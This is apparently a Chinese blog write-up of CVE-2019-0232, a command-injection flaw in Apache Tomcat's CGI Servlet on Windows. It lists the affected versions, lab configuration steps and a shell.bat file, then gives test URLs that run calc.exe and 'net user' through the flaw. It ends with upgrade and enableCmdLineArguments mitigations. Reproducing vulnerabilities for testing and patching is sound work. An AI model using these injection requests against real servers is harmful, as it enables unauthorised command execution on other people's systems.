JAVA CGI 远程代码执行_Apache Tomcat CVE-2019-0232 远程代码执行漏洞

2019年4月10日,Apache Tomcat报告了一个漏洞称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232。在Windows平台,远程攻击者向CGI Servlet发送一个精心设计的请求,在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的。

影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

复现环境

本次漏洞复现使用XAMPP 3.2.2集成环境。

Tomcat : 7.0.56

Java: 1.8.0_121

12b9972b3709

0X00修改配置文件

修改web.xml

cgi

org.apache.catalina.servlets.CGIServlet

debug

0

cgiPathPrefix

WEB-INF/cgi-bin

executable

5

cgi

/cgi-bin/*

修改content.xml

WEB-INF/web.xml

${catalina.base}/conf/web.xml

在/webapps/ROOT/WEB-INF下创建cgi-bin文件夹,并创建shell.bat文件。

12b9972b3709

shell.bat文件内容如下,并启动tomcat。

@echo off

eco Content-Type: text/plain

echo.

set foo=%~1

%foo%

访问测试

http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\calc.exe

http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\net.exe user

12b9972b3709

12b9972b3709

修复措施

一、受影响的用户应该升级到以下版本:

Apache Tomcat 9.0.18或更高版本

Apache Tomcat 8.5.40或更高版本

Apache Tomcat 7.0.93或更高版本

二、临时解决方案

在web.xml文件中将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。

12b9972b3709

12b9972b3709

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值